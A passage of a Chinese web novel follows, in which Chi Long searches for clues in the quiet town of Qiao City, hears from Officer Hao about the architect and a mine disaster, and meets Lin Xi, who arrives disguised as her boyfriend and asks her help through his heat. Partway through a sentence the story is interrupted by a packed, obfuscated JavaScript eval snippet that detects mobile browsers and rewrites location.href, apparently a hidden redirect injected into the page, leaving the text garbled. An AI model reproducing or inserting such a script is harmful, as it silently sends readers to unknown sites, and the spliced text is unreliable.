不得不说,纸质图书的魅力就在于,内容脱离冰冷的介质,落实在纸上的时候,会让人觉得连印刷字体好像都是有温度的。 再加上阅读感兴趣的东西,二者合一,就会令人废寝忘食。 当池泷偶一抬头,透过头顶的玻璃看到星辰微闪,才意识到天黑了。 而此时的图书馆也不再像白日那样泛着波光,不知道什么时候,护眼灯开启,光亮暖黄柔和,读者轻易不会觉得眼部疲惫,还有种仿佛冬日身处壁炉旁边的沙发中的温暖错觉。 伸展着有些酸痛的身体,池泷慢悠悠走下楼,到一楼楼梯口时,一直站在喷泉旁边的乔乔轻轻飘来,好似有些担忧:“您阅读时间过长,一定要偶尔起来动一动哦。” 有些好笑这个小马后炮迟来的关怀,池泷打趣:“你在同一个地方站了一天,偶尔也要动一动哦”。 “乔乔很开心,这里好久都没人来看书了呢。”乔乔在池泷身边转着圈,一路护送她往门口走去。 看看和白天一样冷清的地方,池泷不禁也有些唏嘘,那只奇怪的雕塑眼睛,建造的时候是不是也期待过会有不断的人将这里利用起来呢? 突然地,池泷好奇:“你知道这座图书馆的设计者是谁吗?” “艾济·索尔先生,乔城最伟大的建筑师,世上最精巧的设计者,星际最优秀的创意家!” 池泷忍不住笑出声,如此多的称号,这位建筑师好像是个自恋的浪漫者。 “总有一天,我要让所有人都俯身瞻仰我的建筑,乔城就是我的起点!摘自《世上最厉害的建筑师艾济·索尔语录集》篇章三之星际31年语录选段。” “哈哈哈哈哈哈”,为什么还有语录集这种东西,池泷被这位“伟大的建筑师”逗笑,“但是到现在我也没听过这个名字啊”。 “艾济·索尔,星际10年到星际44年,主要建筑作品有乔城图书馆、乔城市长府。”此刻乔乔的机械声好像变得有些温柔,“冰冷的建筑可以被寄予温暖,温暖的建筑将抚慰每一位灵魂。摘自《世上最厉害的建筑师艾济·索尔语录集》篇章二之星际19年语录选段。” 说完这句话,池泷和乔乔正好走到了喷泉旁边,乔乔停下脚步,转头望着中央那座眼睛雕塑,池泷这才发现这个雕塑,好像不论从哪个角度看都像那只迷雾鬼眼,正在全方位地看着馆中人。 “这是他的眼睛,站在馆中任何方向,都能看到这只眼睛。他说不能错过每一个进到这里的人的表情,所有不表达惊叹的人,他都要同他们争辩,因为自己的建筑完美得不可挑剔。” 不知道是不是错觉,池泷看到那张单调线条的脸,此刻似乎带了怀念。 收起笑意,池泷摸摸乔乔的头,闪耀而不刺眼的外观、神奇的眼睛雕塑等等,这个图书馆的一切都能看见这位设计者张扬外表下那颗细腻温柔、舒适浪漫的内心。 34岁,如果生命没有止于那场事故,他或许也能在央星建筑院拥有一席之地。 池泷转身离开,夜风拂面,或许是因为其特殊的材质,此时图书馆温暖的灯光照亮了一长段回去的路,直到池泷路过公墓才消失,由昏暗的路灯接替。 回到娑利姌家中时,郝警官还没送娑利姌回来,池泷想了想,出于借住他人家的礼貌,她想给这位奇怪奶奶和善意警官做一顿饭。 但是天色已晚,买菜的地方她不清楚,就算清楚估计人家也早就收摊了。 幸好早晨走之前看过,冰箱里有一些蔬菜。 翻找厨房的橱柜拿到米面碗盆,用心做了几道拿手好菜,虽然家常,也勉强算作一顿大餐。 做好饭没一会儿,池泷听见开门声,郝警官扶着娑利姌进门,看到餐桌上的食物,郝警官一脸惊喜:“小池你做的吗?你还有这一手!” 池泷微笑:“谢谢二位的照拂,人生地不熟的,您还给了旅行指南。”随即她又不好意思地摸摸脸,“主要我回来晚了,来不及买菜,只能先拿冰箱里的菜做了。” “嗨,这都是小事,”郝警官放开娑利姌后就进了卫生间,而娑利姌依旧是一副微笑慈祥的样子,进门后脱鞋、去厨房洗手,接着坐在餐桌前等待着,什么话也没说。 “您今天过得好吗?”池泷回到厨房里收尾,怕娑利姌干坐着无聊就率先开口。 过了一会儿,没有收到任何回复,池泷奇怪地抬头看向餐厅,发现娑利姌仍旧坐在餐桌前,仅仅微笑着盯着池泷,却一句话没说。 四目相对了一会儿,池泷率先败下阵来。 算了算了,低下头继续手上的收尾工作,安静的房子里只剩下池泷自己的呼吸声。 有点尴尬,池泷想,她在脑海中搜刮了一下,找了个自认为不会引起娑利姌奇怪反应的安全话题:“我今天去了公墓,遇到一个老人,看起来比您年龄大,拄着拐杖,也是本地人,搞不好您还认识。他给我指了图书馆,”抬头冲娑利姌笑笑,而她和刚才一样,只是对池泷恬淡地笑着。 难道她只关心委托?池泷想了想,又说道:“于是我又去图书馆看了下这里的风土历史,但是没找到‘乔丽’的线索。” 果然,说到这个话题,娑利姌有了反应,她依旧看着池泷,轻轻张嘴,刚想说什么,清洁完毕的郝警官就从卫生间里出来,快步走到娑利姌身边坐下。 他看起来极为高兴,咧开的嘴角挤得眼纹都深了许多,“哎呀,有口福了啊,”拿起勺子喝了一口汤,郝警官极尽称赞:“好喝好喝,太好喝了,比我强百倍,小池你真有一手!” 没有什么比自己的劳动成果受到称赞更开心的事了,池泷看了眼娑利姌,她低下头拿起了餐具,似乎没有继续说的意思。 天大地大,吃饭最大。无论什么事,都可以等吃完饭再说的,池泷也入座开始进食。 三人各自吃了一会儿,可能是工作原因,郝警官进食极快,喝完最后一口汤,他满足地问道:“接待了那么多人,这还是第一次有人给我俩做饭,关键还如此美味。”他又拍拍肚子,笑嘻嘻地看着池泷:“今天出去玩儿了吗?” 来了,池泷心中默念,放下餐具,随意地说:“四处溜达了一下,主要在图书馆看书。” “哦!那是我们这里最漂亮最闪亮的地方了,艾济叔叔以前说要将它建成一座历史博物馆,只不过还没彻底完工。”郝警官笑容比刚才淡了些。 “您和那位建筑师认识啊?”池泷十分好奇,“为什么后来变成图书馆了呢?” “嗯,”郝警官手指轻轻摩挲着餐具,“乔城的每个人都认识艾济叔叔,他是个很活泼的人,和娑利姌阿姨格外合得来。身上总是会带着乔城没有的水果糖分给孩子。” “总之还是44年那场矿井的事故,王室挺重视的,陆续派人来救援和重建,其中有一位alpha男性建筑师,叫米斯·埃德尔,据说他手里有艾济叔叔的图纸,”郝警官眯眯眼睛,“那是一位对建筑具有十分热情的人,他说博物馆意味着过去,图书馆代表着未来,乔城相对于过去更需要未来,就在原来的基础上改了一部分。” “哦?” “像图书馆的外墙还有那个雕塑,他都没有动,只是将原来用于展览的剩余部分改成了几层,放了书架,”郝警官手指搭在桌子上慢慢点着:“我当时10岁,只记得他看起来跟艾济叔叔差不多大,是个心善的人,那时候矿井坍塌,唉……总之修复和改建他都坚持用了我们自己的人,给当时伤心的人们找了一些事做,也是一种鼓励吧。” “嗯,我今天去的时候还发现图书馆好像一直有人维护,纸质书都涂了特制的保护层。”池泷看着陷入回忆的郝警官,轻声问道,“还有绿植、墙壁什么的,但是没见到有什么负责市政的人。” “其实是养老院里那群叔叔阿姨,”郝警官笑着摸摸头,“他们建月轨的时候都有不同程度的受伤,后来又参建了那位建筑师很多的建筑工程。现在年纪大了还不得闲,会定期去图书馆做下维护。” 说到这儿,他叹了口气,“明明八九十岁的人了,却老是起得早睡得晚,乔城的街啊灯啊,他们都会趁着没人的时候维护。” “是很热爱这座城市吧。”池泷心中对这群素未谋面的老人家肃然起敬。 “可能是因为他们总觉得好像有一天乔城会变得热闹起来,不想让外面的人看笑话,”郝警官苦笑,“因为有人伤得蛮重,你知道的,身体上有些残缺,因此怕别人受惊所以总是背着人。有时候我们要帮忙,还总是发火‘年轻人觉得我们吃白饭’,久而久之,这些事就都交给他们了”。 郝警官又叹了口气,“反正,悲痛过后总要找些事做,才会觉得自己活着吧。” 池泷顿了一会,犹豫了一下,还是说出口:“我今天在图书馆读到了,那个事故”。 “是嘛,”郝警官看起来笑得有些勉强,他也顿了一会,但没有接池泷的话:“我挺感谢那位建筑师的,军队救完人就离开了。当时剩下的全部人都不知所措,这时候他站了出来,说要带领我们修房建桥。” “亲自用手一点点修复家乡的感觉真的令人慰藉。钟楼、工业区、市长府、养老院,很多地方都是他带领我们修建的”,郝警官再次叹气,“只可惜两年后月轨修建完毕的时候,他被突然召回,我们都来不及道别。” 说完以后,郝警官站起身,“好了,回忆过去到此终止,乔城需要往前看,活着的人也是”。他看着池泷,话题再次转移,“我们这儿也不大,估计明天就能逛完,逛完了要直接离开吗?我可以明天送阿姨去车站的时候顺带买票。” “没事儿,”池泷摆摆手,“我还想在这里多呆几天。” “为什么?”郝警官显然有些吃惊。 “就是、就是我接了委托的嘛,”池泷被问得有些发蒙,“总得做完委托再走吧。” “啊……对,”郝警官用手扯了扯领口,“我以为你可能会觉得这里不太方便,想着快点走呢。” “也没有,这里感觉挺适合休闲的,放松心情。”池泷笑笑,“您这边要是不方便,我可以出去住……”。 还没说完,郝警官赶忙道:“没、没有的事儿,”怕池泷不信,他赶紧又补了一句:“我不是这个意思,我们当然很高兴你喜欢这里。” 说罢,池泷觉得他似乎有些刻意地避开自己的目光,开始整理领口,“就是,我们这儿确实不够好,以前来的孩子都不太喜欢这儿,想着早些走,”郝警官叹了口气,轻声说:“如果所有人都能喜欢这儿该多好。” 听到这话,不知道该说什么安慰他的池泷也只能“嗯”了一声。 “不过,这个委托你也不要有太大压力,虽然暂时没有线索,但警局那边我也在帮你留意着的。”整理完领口的郝警官抬头看向池泷,又恢复了那副热情的样子。 “谢谢。”没想到警官也管这件事,不知道为什么,池泷没把自己觉得“乔丽”是物的推测告诉郝警官。 “不必道谢,这是我们的义务。”郝警官脸上的表情极为严肃,“先不管它跟阿姨有什么样的关系,万一真的是人,失踪了就绝不能小事。” 然后他再次朝池泷表达了感谢,在池泷多次拒绝了他帮忙收拾的请求并表示能照顾娑利姌后,他亲吻了娑利姌的头顶,就离开了。 看着郝警官出门,池泷站起身收拾桌面,想起刚才娑利姌仿佛有话要说的样子,她停手,看着餐桌另一面从刚才起一直低着头的老人,轻声喊了一句:“奶奶……” 老人没有回话,也没有抬眼,池泷等了一会儿,看见她小小地打了一个哈欠,只能将娑利姌扶去洗漱间,看着她洗漱、躺下,再返回厨房收拾。 刷碗的时候她也忍不住叹了口气,说真的,听到郝警官的话,池泷有点感动,她没想到不知标的物的一个委托,也能让这位警官那么重视。 不过想起他磨毛的警服、破损的枪套,哪怕看不见,可战斗系出身的池泷也知道那把枪支的型号应该是好几年前的了,因此池泷也没对他有什么期待。 想起今天的所见所得,池泷心情有些复杂,图书馆的书没什么特别之处,但她无意中翻到尾页才发现,它们的出版日最晚就到星际46年。 就是月轨建成的那年、也是米斯·埃德尔离开的那年。 也就是说,王室自此就再未响应过乔城的任何请求。 一直到有些舆论开始偏向王室有些白眼狼的行为,才有了那片公墓。 为此,池泷特意翻了那本旅行指南,发现公墓正好在养老院旁边。她下意识想,不知道活着的人每天透过窗棱看到死去的人,心中会有怎样的想法。 收拾完厨房,池泷回到自己的房间,打开光脑,发现自己上午给尹霄发的信息还没得到回复,她觉得奇怪,尹霄那样的网虫竟然也有与光脑分开的时候。 不过假期嘛,她也没多在意,将米斯·埃德尔这个名字发了过去,希望尹霄能找出些什么。 不知道是不是昨晚留下了心理阴影,今晚池泷有些心神不宁,睡得不是太深,每次醒来,她都下意识看向床尾和门口,什么也没有。 总之,还算风平浪静的一夜过去。 从这天开始,池泷渐渐适应了这里的生活,同央星光怪离奇、热闹喧嚣的快节奏生活完全不同,乔城风景秀丽、平淡悠闲,就是过于安静的环境偶尔会让池泷觉得寂寞。 不过大多数时间,池泷都忙着为委托寻找线索。幸好这里的气候真的很好,连着七天都风清日晴,于是她连着一周一直往公墓旁边的湖水底下跳,摸遍了湖底的每一个角落,但遗憾的是,没找到有关“乔丽”的任何线索。 幸好乔城人少,应该没人看见她一次次像傻子一样出入水的画面。 七天后,她放弃了。 她觉得,娑利姌说的水底,绝对不可能是这个水底。 不过好处是,这一个周结束,图书馆里的书也被池泷基本看完。 因为每次跳完水她都会顺腿去图书馆借阅,乔乔每日都在雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564903|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑旁的同一位置站着,每次见到池泷都会很开心,偶尔池泷在图书馆里读得晚了,它也会在池泷离开时马后炮地善意提醒她要多走动。 出于好奇,池泷曾站在高层逗弄乔乔,叫它上楼,可是小机器人或许是程序设定使然,或许是听不懂这个口令,一直用“笑眯眯”的线条脸看着她没有回复,次数多了,池泷也觉得没啥意思。 于是她干脆开始尝试开发它单调线条的脸,现在她掌握了乔乔好几种表情,总的来说,一人一机器相处得十分开心。 同时,她跟郝警官也逐渐相熟,通过郝警官,池泷对乔城有了更深一步的了解,原来这座城市里除了娑利姌以外,没有别的omega了。 郝警官算是这里的年轻人,就算这样的“年轻人”数量也极少,都是那场事故后长大的孩子,很多也因为各种原因去世了,剩下的大多数都是beta,在医院和警局工作,他们全部都是单身。 至于事故遗留下来的老人,这些年也逐渐减少。或许不用多久,乔城就会自行消失。 出于好奇,池泷询问为什么不考虑离开或者外出求医求学。郝警官看着坑坑洼洼的地面,面色温柔,只说了一句:“我母亲在这里。”池泷才惊觉或许这座城市里的人,或许还没从那场事故中抽身,他们守着这座城,就是在守着死去家人的灵魂。 除此之外,郝警官总是热情洋溢、积极乐观的。 他会在吃饭时候绘声绘色地描述每一天的巡逻工作,尽管这份工作每天都没什么太大变化,可通过他的描述,池泷总是忍不住笑出声,每到这时,池泷能见到郝警官脸上带着几分自豪的笑意。 偶尔郝警官也会带来一些“稀奇”的东西,或者说在乔城觉得稀奇的东西,有时候是一包老旧的白糖,有时候是一根带着珠子的头绳,有时候是一个半智能娱乐球,这些东西是外界早已淘汰的“垃圾”。 一开始池泷也想客气地表示可以给别人,自己用不上。可是后来她一想这座城里的其他人更用不上,便不再张嘴了。 于是每次听见郝警官期待又小心的询问,池泷总是假装开心地收下了,说正好用得上。 但她仍旧奇怪这些东西的来处,郝警官看起来有些苍白地解释:“每日定时会有来自央星的‘乔城特列’送来一些食物和日常用品,”年过半百的中年人局促地笑笑:“我们这里产不了的。”接着把东西放在不起眼的角落,没再坚持要她收下。 她心酸这位警官带着讨好的热情,他或许和他的前辈们一样,也在期盼着会有人来到这里,喜欢这里。 而且这位50岁的警官可能因为没有家庭,池泷看着他总觉得像看见擎叔,他应该是把自己看作女儿一样了吧。 投桃报李,池泷也没闲着,她特地去找了菜市场在哪里,只不过乔城的菜市场根本算不上“市场”,它就是几个修补过的木桌,拼凑了一个展台,一些和郝警官差不多年纪地beta卖自己种的菜。 勉强算得上自给自足。 在她一再坚持下,才勉强征得郝警官同意,承包了做饭的任务,并接手了郝警官每日去车站接送娑利姌的工作。 其实也是想拉进一下与娑利姌的关系,这位奶奶极少说话,一般都只是淡淡微笑着,池泷问她想吃什么,她也只有几次回复,说的都是:“都可以的。” 就像郝警官说的,她好像不在乎怎么过日子,从没提过什么要求,任人摆弄。 但是有时候也会突然“清醒”过来,表情多了点焦急,但除了一直重复那晚的“水下秘密”,再没说过其他。 就像打游戏里遇到的NPC。 剩余时间,池泷把乔城布局熟悉了个遍,除了被高墙围起来的遗留工业区。 郝警官说那里只有些很陈旧的设备和残料垃圾,是当年重建时未来得及处理的,经过风吹日晒估计挺危险,因为没钱也没人力去清理,只能锁起来,禁止入内。 但池泷却有了探寻的心思,总不会这个一直找不到的“乔丽”就在这里吧。 第一次她走到在工业区外,想进去的时候,却正好撞到巡逻到此的郝警官,他一脸无奈:“我们每年都会派人进去翻翻这里,里面除了垃圾什么也没有。”紧接着一脸严肃地警告:“离这里远点,这里是禁区,很容易发生重大事故,哪怕你是alpha也不行。” 又是事故。没敢再继续纠缠,池泷立马离开了。 偶然一次,池泷在清晨见到了一个缺了一只脚的alpha奶奶踩在梯子上给路灯换灯泡,她赶紧停下脚步,轻手轻脚地藏在墙后。 等老人换完灯泡,用手扶着灯柱,慢慢跳下梯子,又缓缓背起梯子走远才出来,看着她有些吃力的背影,池泷心里十分复杂。 然后再没遇到过什么爱说话的乔城居民,大多数时间,池泷都是一个人。 尹霄的消息在池泷到达乔城的第六天也到了。虽然他不符合以往高速的办事效率,但办事效果还是极好。 他先对池泷孤身一人接委托表达了极大的不满,并理直气壮地告诉池泷,和上次的兴师问罪一起,他已经把这两件事向白簇告了状。 同时把池泷需要的资料发了过来,也带来了米斯·埃德尔的消息,他和艾济以前都是央星建筑院的alpha建筑师,甚至是同一宿舍的舍友,在星际46年被召回后,只在建筑院呆了半年就辞职离开了,没人知道他去了哪里。 而艾济,是娑利姌的alpha伴侣艾达·索尔的亲弟弟,也消失在星际44年的那场事故里。 池泷曾经尝试在娑利姌面前说起这两个名字,她依旧只是微笑,没有其他反应。 在此期间,郝警官的调查也出了结果,他表示找了乔城近四十年来所有的车站往来、居民及医疗记录也没有找到任何线索,再往前就没有什么记录了。 还有半个多月,按照池泷现在的计划,她决定先去别的地标建筑逛逛,找到“水底”的含义。如果还是遍寻不到,再去工业区也不迟。 但就像老话说的“计划赶不上变化。” 新的周一下午,池泷带着娑利姌从车站回去,路过市场顺手买了菜,到娑利姌家门口时,她闻到一股熟悉的味道,瞬间寒毛直竖。 打开门,先看到在客厅站着的郝警官,在他身边站了一个浅蓝短发、皮肤偏黄的男生,脸上戴着一副厚重的黑框眼镜,穿着衬衣和牛仔裤,背着双肩包。 听见开门声,男生局促地抬起头,在看见池泷时,琥珀色的眸子里划过一丝暗光。 “小池,过分了啊,吵架就吵架,出门还不说声,人家小林特地从央星过来”,郝警官挤眉弄眼地走到门口,从池泷手中接过菜,伸手将她拉到男生的身边,“呐,今晚我做饭,谈恋爱嘛,说开了就好了,”又小声趴在池泷肩膀处小声说:“omega男朋友多珍贵,好好哄哄。” 池泷看着身旁到自己肩膀、看到自己后又立马低下头的浅蓝脑袋,眼角狠狠抽了两下。 妈的,林息来了。 6. 第 6 章 食不知味。 其实郝警官做饭的手艺不赖,可池泷实在没心情享受,她机械地往嘴里一口一口塞着自己也不知道是什么的东西,脑袋忍不住放空,相对于惊慌、害怕,更多的是一种等待最终宣判的无助感。 “吃菜吃菜,小池给人夹菜啊!”郝警官自觉充当“小情侣”之间的润滑剂,试图缓和一下低头进食、一句不吭的两人之间那种冷漠的氛围。 “小林不要不好意思,我手艺比不上小池,勉强入口。”郝警官笑呵呵地看着林息,一副丈母娘看女婿的欢喜样子。 “谢谢郝叔,饭菜已经很美味了……毕竟我也没尝过她的手艺。”十分的小声和委屈,相对于上次见面时林息语气的淡然和冷静,这次的声音更加颠覆了池泷对他的印象。 她只觉得连皮肤都沾上了一种奇怪的黏腻,忍不住瞥了眼说完后就埋头吃饭的林息。 虽然看不见表情,但池泷就觉得那双琥珀色眸子现在应该盛满了戏谑。 果然,郝警官随即谴责地瞪了池泷一眼,她欲辩无语。 “没事没事,等吃完饭让小池带你出去溜溜,我们这虽然没什么好玩的,但生活休闲、空气也好。”话虽然是说给林息听,但郝警官的眼睛却一直没离开过池泷。 看着郝警官真诚努力的样子,池泷勉强笑着点了点头。反正,她也有事情想问林息。 于是饭后,在他期待的眼神里,池泷带着林息出门散步——“联络感情”。 避开公墓,池泷带着人往钟楼那边的小路走去,细腻的微风、安静的街道,此时的氛围感实在适合交心,如果真是情侣的话。 二人一直走过钟楼,踏入工业区的小道,等来等去,等不到林息开口的池泷有些着急,她想问上次的调查出没出结果、想问对自己的处理,但首先这种坏事让自己这样的“加害者”来问总觉得怪怪的。 而且出门的时候池泷就已经在考虑了,她本来下意识觉得林息是来“宣判”她的结果,可随即想起她俩同校,早晚见到,不值得为此特地打听她的行踪,跑这么大老远来处置自己。 乔城也并非旅游胜地,林息又编造了身份,最可能的就是他来乔城出个任务,知道自己也在这儿,于是顺水推舟地编了个新身份。 思来想去,她只得从这个话题先开口:“来这儿出任务?” “嗯……是特地来找亲爱的。”声音依旧黏腻甜美,池泷不禁哆嗦了一下。 真的是令人尊敬的卧底敬业精神。 忍了忍,她还是没忍住。 只好用两人刚好能听见的声音说:“如果有需要我帮忙的地方,尽管说”,同时心里默默叹了口气,接下来该说啥啊。 但自己刚说完,胳膊就被人抱住了,池泷僵硬地停下脚步,紧接着耳边传来热气,她听见记忆里熟悉的清冷声音:“那做吗?” 刷地一下往旁边跳开一大步,池泷瞪大双眼,罪魁祸首毫无自觉,依旧乖乖站在那里,一脸无辜。 荒谬!荒唐!荒诞! 先不说NTR什么的她实在做不来。 就说上次,那也是个意外,再允许这样的事发生,那就是道德问题! 怎么看林息也不像什么道德崩坏的人,为什么总是……语出惊人。 想着说不定是自己哪里理解错了,池泷定了定心神,坚决地双手交叉于胸前,重重地摇了摇头。 而林息朝她走了两步,冷静的语调似乎只是在阐述一个再平常不过的事实:“上次的事我去查了,能确定的是那件事确实与你无关,但还不知道是谁动的手脚。” 听到这儿,心中刚刚竖起防备的池泷瞬间轻松不少,她就知道林息是个好人、绝对会明察秋毫。 是自己不好,想的太多,他一定是有什么难言之隐。 “那件事里用的不知名药物,虽然事后有看医生,医生说对身体影响不大,却意外引起了紊乱。”说到这,林息顿了顿,昏暗的路灯下,池泷看见他的脸好像红了一些,她不禁愣了一下,下意识接道:“什么紊乱?” “……”林息无言,琥珀色的眼眸飘了过来,里面好像装着撒娇似的责备。 没有看错,他的脸颊果然微粉。 看池泷傻不愣登的样子,无奈林息只好眼皮微垂,嗔怪道:“发热……期。”一个字比一个字的声音小。 啊!池泷突然反应过来,想抽自己一巴掌。虽然过了这么多年,可自己对有些规则还是不太适应。 就像这种正常的生理状况,池泷觉得大可以大大方方说,但她也尊重他的害羞。 于是池泷沉默着点点头,想起擎晴给自己普及的知识,又想到他不可能无缘无故说这样隐私的事情,便问道:“是有什么不妥的地方吗?” “可不知道是不是对抑制剂产生了抗药性,这次打过了抑制剂却效果甚微,医生建议最好找个alpha。” 他轻轻别过脸,阴影遮了半脸,神色更加昏暗不清,“这次来我暂且使用了一种更强力的抑制剂,这件事知道的人越少越好,而且我好像没法找别人覆盖,”垂在腿旁的手掌握拳攥紧,“我也是第一次被标记还……你又说过可以尽力提供帮助,而我今天就需要……” 渐渐泛红的耳尖表明林息并不像他的声音一样冷静。 池泷抬眼看去,此时这朵纯白芍药的花瓣边缘,因为与自己有关的那场意外而染上了一抹艳红。 虽然这让池泷再次感觉歉疚,但同时还有一丝从刚才开始就说不清楚的窃喜。 察觉到这些,池泷面上更加不动如山,但心底却在大吼:“我警告你不要变态啊!” 抓紧排除脑中不可理喻的想法,她仔细想了想,其实自己挺感激林息的。 平权轰轰烈烈,但现在包括王室在内,社会上下仍旧极为保守,他作为林凌衫之子,是平权运动最显眼的代表,这么多年一直都靠抑制剂度过,估计是为了证明omega离开alpha的独立性和自主能力,却因为被陷害一朝破功。 又因为与三皇子的“婚约”,整天在星网上被逼逼叨叨外貌性格还不够,这件事还只能瞒着王室,一旦暴露,不说王室,来自社会的谴责就难以承担。 而且擎晴说过,效果越强的omega抑制剂副作用越大。 因为星联更加注重研究alpha相关的抑制剂以更好地实现军事目的,对于omega信息素的研究很少,遑论抑制剂的研发,市面上流通的omega抑制剂用久了确实有抗药性,但研发跟不上,很多omega因此被迫结婚生子。 那林息这种不知道从哪里找来的所谓强效抑制剂,估计市面上都没有流通,那造成的身体负担他又准备怎么处理呢? 最重要的是,池泷很清楚,那晚两个人都极为青涩,自己毛毛躁躁地尽兴过后,弄得人家乱糟糟就算了,后面的事,林息一点也没让自己插手。 虽然自己是无意,可是无意这两个字并不能弥补自己可能对林息造成的生理、心理上的伤害。 现在他顶着来自方方面面的压力,仍能相信自己无辜,而不是稳妥地选择直接把自己关起来、甚至抹杀。 更甚者,他还不得不跑个大老远,来找自己这个与陷害相关的陌生人标记。 因此,池泷觉得感激,又替他觉得屈辱。 她比任何人都清楚自己某些说不出口的特殊性,所以他可能真的没办法找人覆盖,更觉得对他不起。 想到这里,心里刚才的那丝窃喜显得愈发卑劣,池泷没法安慰自己说这是alpha的天性使然,卷入这场是非是两个人都情不所愿的,可到底至今只有林息承担了几乎全部的坏处。 反正,她对他就是心中有愧,并且一直以来都敬佩他的坚毅。 如果只是这段时间的临时标记,她愿意尽力弥补,或者说愿意提供帮助,从这之后……他俩应该就不会再有交集了。 于是池泷清了清嗓子,下定决心:“我可以这一段时间负责帮你临时标记,你放心,我绝对不会趁人之危”。 瞧着对方转过头茫然地看向自己,脸上的奇怪显而易见,想起他开始的口出狂言,池泷也很奇怪难道林家或者医生没给他普及过这方面的知识吗? “有人给我普及过,发热期实际上是激素的上升期和紊乱期,一般临时标记就能安抚,而且过一段时间信息素就会自行消逝,不一定非要……做全套,而且这种更进一步的事,”她友好地露出八颗牙齿,“上次是个意外,总归还是相互喜欢再做比较好,当然这只是我的看法。” 又是熟悉的沉默,池泷不禁怀疑自己说话有这么难以理解吗,上次自己就是好一顿说,他也不接茬,更没什么表情。 正在她犹豫要不要继续说些什么时,才听见“哦,是么……”,语气貌似还有点敷衍,虽然池泷还是看不清林息的表情,因为反光的镜片遮盖了脸的大部分,但他半低头的样子活像一只拿不到松子的小松鼠。 唔,有点想捏着他的脸直接质问“哦”是什么意思啊,自己纠结了半天,一句“哦”就被打发了吗!池泷搓搓手指。 说完这句,林息转身继续往前走,看着他的背影,不知道为什么,池泷突然起了一阵鸡皮疙瘩,她摇摇头追上林息,在他身后隔了一步慢慢走着,语调轻松:“谢谢你还愿意相信我。” 听见他轻轻笑了几声没接话,池泷想捏脸的冲动更加强烈了。 但她更好奇:“你是怎么找到我的?”自己私自接活的行踪除了其余知情的三人,就算在星网上应该也难以追踪。 但没有得到他的正面回答:“反正除了我之外,不会再多一个人知道你在这里。” 于是池泷没再多问,他这样的人想知道一个小市民的行踪,实在是易如反掌,而且自己隐蔽行踪也只是怕学校追查自己在黑市接活的事儿。 “你现在用的那个抑制剂,最好停一下”,池泷知道自己或许有些多嘴,但还是忍不住道:“这种抑制剂副作用都挺大的,能少用就少用。” 同时心里默默吐槽,她也不知道林家怎么想的,竟然允许自家孩子用这些尚未大面积临床试验的东西,就一个人大老远跑来了。 说完这话,前面一直匀速行走的林息突然停下转身,池泷急刹,惯性让胸口眼看着要撞到他的脸,上半身赶紧往后抻了一下。 这人怎么老不按套路出牌呢? 仿佛没看到她的窘迫,林息看上去有些好奇:“你怎么知道这么多omega的事?” 池泷没有隐瞒:“我姐在央星科研所的生物部门工作,主要从事跟omega信息素相关的研究,她跟我说的。” “咦?生物部我也认识几个人,没听说有跟你一个姓的。”浅蓝色脑袋歪了歪,明明是乖巧可爱的动作,但他此刻做起来竟让池泷觉得有些紧张。 “她的omega生父是我的养父,”池泷摊手,“我是被他俩收养的。” 林息点点头,“她也是omega?” “beta,”想到擎晴,池泷忍不住勾起嘴角,“一个努力又不服输的人。” 林息看着她唇边的笑意,甩头往来的方向走去。发现池泷要跟上,他比了一个手势制止,又让她转过去背对着他。 一头雾水的池泷转身站好,还没想明白他要做什么,突然听到一阵小跑,肩膀被握住的一刹那,她下意识地圈住他的腿弯,向上掂了掂。 甜腻的声音在耳边响起:“赶快回去吧亲爱的,不然郝叔会担心的。” 池泷认为自己应该将他放下,但他提及了郝警官,估计就是回去之后,想让他们看到他俩已经和好如初的样子了。 于是她便紧了紧胳膊,心里将这种行为自动归为“热心帮助同学完成角色扮演”。 “忘记跟你说了,我叫林齐,”仔细听听,其实林息的声音好像也没一直那么清冷,比如现在他在背后说话的声音听上去比刚才温暖多了,“如果你也有需要帮忙的地方,尽管说。” 忍不住无声咧开了嘴,池泷只觉得背上的林息轻若无物。 “他比自己在星网上看到的还要瘦一点”她想。 身后清浅的呼吸偶尔擦过敏感的腺体,池泷返回的步子迈得又快又急,似乎比吹过的微风还要快了。 回到娑利姌家时,郝警官竟然还在,看到林息从池泷背上跳下来,一脸欣慰。池泷有点不好意思,欺骗这位好心警官是情非得已,但总不能让他们知道林息的真实身份。 但奇怪的是,娑利姌今天也没像往常一样去睡觉,反而坐在沙发上,似乎也在等着池泷他们。 郝警官解释:“可能小林来了让阿姨今晚有点兴奋,劝了好多遍也不肯休息。”他抱歉地朝林息笑笑,带着几分小心翼翼,“因为以前确实没来过omega……” “没事,”池泷笑笑,“您快回去吧,我来照顾奶奶就行。”郝警官叹了口气,一边穿衣戴帽一边向池泷表示感谢。 两人正说着话,娑利姌从沙发起身,慢慢向林息走去,走到他身前,双手捧起他的脸,颤巍巍地用拇指抚摸他的脸颊,呼吸急促,眼睛紧紧盯着林息。 感受到不对的池泷皱眉,想上前将二人分开,郝警官也向前走了两步,却看到林息抬手盖住娑利姌的手,轻轻摩挲着将它们拿下来牵在手中,并呼唤了一句:“奶奶?” 娑利姌低头看向交握的手掌,呼吸又慢慢平复下来。 林息抬头向郝警官乖巧地笑笑,语调温和:“估计真的是奶奶看到我有点激动,您不要担心,池泷和我能照顾好她的。” 明显尴尬的郝警官点点头,看了池泷一眼,他也没想到阿姨这么唐突,但天太晚,他明天还要工作确实不能再耽误,向林息道了许多声谢就离开了。 看着郝警官消失在门口,林息依旧用甜美的声音跟池泷说:“刚来的时候郝叔就跟我说过这里的布局,我住在二楼你房间旁边的那间屋子里。” 接着他往旁边走了一下,娑利姌也自然地跟着他动了一下,林息问池泷:“我现在应该怎么办?” 池泷想从他手中接过老人,但娑利姌却将林息反手握住,死活不撒手。 没办法,池泷给林息指了指娑利姌的房间,然后林息便拉着娑利姌的手,慢慢带她往房间走。 其实池泷有些震惊,毕竟这半个月里,娑利姌每天的生活轨迹都一模一样,就像客厅里那个上好发条就能转上一天的壁钟,这是第一次出现这么大的异常。 